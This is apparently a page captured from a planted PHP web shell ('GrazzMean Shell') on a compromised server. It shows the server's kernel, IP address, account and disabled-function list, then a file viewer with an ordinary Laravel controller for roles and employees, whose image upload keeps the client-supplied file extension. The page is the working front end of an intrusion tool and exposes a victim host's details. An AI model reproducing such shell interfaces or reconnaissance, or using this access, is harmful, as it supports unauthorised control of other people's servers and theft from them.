shell bypass 403

GrazzMean Shell

Uname: Linux peekpos.com 6.8.0-1060-aws #63~22.04.1-Ubuntu SMP Tue Jun 30 02:32:53 UTC 2026 x86_64
Software: Apache
PHP version: 8.3.25 [ PHP INFO ] PHP os: Linux
Server Ip: 47.130.192.226
Your Ip: 10.1.31.86
User: www (1001) | Group: www (1001)
Safe Mode: OFF
Disable Function:
passthru,putenv,chroot,chgrp,chown,shell_exec,popen,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

name : RolesController.php
<?php

namespace App\Http\Controllers\addons;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\RoleManager;
use App\Models\RoleAccess;
use Illuminate\Support\Facades\Validator;
use App\Models\User;
use Illuminate\Validation\Rule;
use Illuminate\Support\Facades\Hash;

class RolesController extends Controller
{
    public function index(Request $request)
    {
        $getroles = RoleManager::where('is_deleted', 2)->orderbyDesc('id')->get();

        return view('admin.roles.index', compact('getroles'));
    }
    public function add()
    {
        return view('admin.roles.add');
    }
    public function save(Request $request)
    {
        try {
            $role = Rolemanager::where('role', $request->name)->where('is_deleted', 2)->first();
            if (!empty($role) || $role != null) {
                return redirect('admin/roles/add')->with('error', trans('messages.already_exist_role'));
            }
            $newrole = new RoleManager;
            $newrole->role = $request->name;
            $newrole->module = implode('|', $request->modules);
            $newrole->is_available = 1;
            $newrole->is_deleted = 2;
            $newrole->save();
            $add = $request->add;
            $edit = $request->edit;
            $delete = $request->delete;
            foreach ($request->modules as $module) {
                $roleaccess = new RoleAccess();
                $roleaccess->module_name  = $module;
                $roleaccess->role_id = $newrole->id;
                $roleaccess->add = $add != null ? (array_key_exists($module, $add) ? 1 : 0) : 0;
                $roleaccess->edit = $edit != null ? (array_key_exists($module, $edit) ? 1 : 0) : 0;
                $roleaccess->delete = $delete != null ? (array_key_exists($module, $delete) ? 1 : 0) : 0;
                $roleaccess->manage = 1;
                $roleaccess->save();
            }
            return redirect('admin/roles')->with('success', trans('messages.success'));
        } catch (\Throwable $th) {
            return redirect('admin/roles')->with('error', trans('messages.wrong'));
        }
    }
    public function edit(Request $request)
    {
        $data = RoleManager::where('id', $request->id)->first();
        return view('admin.roles.edit', compact('data'));
    }
    public function update(Request $request)
    {
        $role = Rolemanager::where('id', '!=', $request->id)->where('role', $request->name)->where('is_deleted', 2)->first();
        if (!empty($role) || $role != null) {
            return redirect('admin/roles/edit-' . $request->id)->with('error', trans('messages.already_exist_role'));
        }
        $role = RoleManager::where('id', $request->id)->first();
        $role->role = $request->name;
        $role->module =  implode('|', $request->modules);
        $role->update();
        $add = $request->add;
        $edit = $request->edit;
        $delete = $request->delete;
        $roleaccess = RoleAccess::where('role_id', $request->id)->get();
        foreach ($roleaccess as $access) {
            $access->delete();
        }

        foreach ($request->modules as $module) {
            $roleaccess = new RoleAccess();
            $roleaccess->role_id  = $request->id;
            $roleaccess->module_name = $module;
            $roleaccess->add = $add != null ? (array_key_exists($module, $add) ? 1 : 0) : 0;
            $roleaccess->edit = $edit != null ? (array_key_exists($module, $edit) ? 1 : 0) : 0;
            $roleaccess->delete = $delete != null ? (array_key_exists($module, $delete) ? 1 : 0) : 0;
            $roleaccess->manage = 1;
            $roleaccess->save();
        }
        return redirect('admin/roles')->with('success', trans('messages.success'));
    }
    public function status(Request $request)
    {
        $rolemanager = RoleManager::where('id', $request->id)->first();
        $rolemanager->is_available = $request->status;
        $rolemanager->update();
        return 1;
    }
    public function delete(Request $request)
    {

        $deleterole = RoleManager::where('id', $request->id)->first();
        $deleterole->is_deleted = 1;
        $deleterole->update();
        return 1;
    }



    public function employee_index(Request $request)
    {
        $getemployee = User::where('type', 4)->orderbyDesc('id')->get();
        return view('admin.employee.index', compact('getemployee'));
    }
    public function employee_edit(Request $request)
    {

        $editemployee = User::where('id', $request->id)->first();
        $roles = RoleManager::where('is_available', 1)->where('is_deleted', 2)->get();
        return view('admin.employee.update', compact('editemployee', 'roles'));
    }
    public function employee_add(Request $request)
    {
        $roles = RoleManager::where('is_available', 1)->where('is_deleted', 2)->get();
        return view('admin.employee.add', compact('roles'));
    }
    public function employee_save(Request $request)
    {
        $validatoremail = Validator::make(['email' => $request->email], [
            'email' => [
                'required',
                'email',
                Rule::unique('users')->whereIn('type', [1, 4])->where('is_deleted', 2),
            ]
        ]);
        if ($validatoremail->fails()) {
            return redirect()->back()->with('error', trans('messages.unique_email'));
        }
        $validatormobile = Validator::make(['mobile' => $request->mobile], [
            'mobile' => [
                'required',
                'numeric',
                Rule::unique('users')->whereIn('type', [1, 4])->where('is_deleted', 2),
            ]
        ]);
        if ($validatormobile->fails()) {
            return redirect()->back()->with('error', trans('messages.unique_mobile'));
        }
        $newemploye = new User;
        $newemploye->name = $request->name;
        $newemploye->mobile = $request->mobile;
        $newemploye->email = $request->email;
        $newemploye->password = Hash::make($request->password);
        $newemploye->role_id = $request->role;
        $newemploye->is_available = '1';
        $newemploye->profile_image = 'unknown.png';
        $newemploye->type = '4';
        $newemploye->save();
        return redirect('admin/employees')->with('success', trans('messages.success'));
    }
    public function employee_update(Request $request)
    {
        $validatoremail = Validator::make(['email' => $request->email], [
            'email' => [
                'required',
                'email',
                Rule::unique('users')->whereIn('type', [1, 4])->where('is_deleted', 2)->ignore($request->id),
            ]
        ]);
        if ($validatoremail->fails()) {
            return redirect()->back()->with('error', trans('messages.unique_email'));
        }
        $validatormobile = Validator::make(['mobile' => $request->mobile], [
            'mobile' => [
                'required',
                'numeric',
                Rule::unique('users')->whereIn('type', [1, 4])->where('is_deleted', 2)->ignore($request->id),
            ]
        ]);
        if ($validatormobile->fails()) {
            return redirect()->back()->with('error', trans('messages.unique_mobile'));
        }
        $editemployee = User::where('id', $request->id)->first();
        $editemployee->name = $request->name;
        $editemployee->mobile = $request->mobile;
        $editemployee->email = $request->email;
        $editemployee->role_id = $request->role;

        if ($request->has('profile')) {
            if ($editemployee->image != null && file_exists(storage_path('app/public/admin-assets/images/profile/' . $editemployee->image))) {
                unlink(storage_path('app/public/admin-assets/images/profile/' . $editemployee->image));
            }
            $edit_image = $request->file('profile');
            $profileImage = 'profile-' . uniqid() . "." . $edit_image->getClientOriginalExtension();
            $edit_image->move(storage_path('app/public/admin-assets/images/profile/'), $profileImage);
            $editemployee->profile_image = $profileImage;
        }

        $editemployee->update();
        return redirect('admin/employees')->with('success', trans('messages.success'));
    }
    public function employee_status(Request $request)
    {
        $employee = User::where('id', $request->id)->first();
        $employee->is_available = $request->status;
        $employee->update();
        return 1;
    }
    public function employee_delete(Request $request)
    {

        $employee = User::where('id', $request->id)->first();
        $employee->delete();
        return 1;
    }
}
© 2026 GrazzMean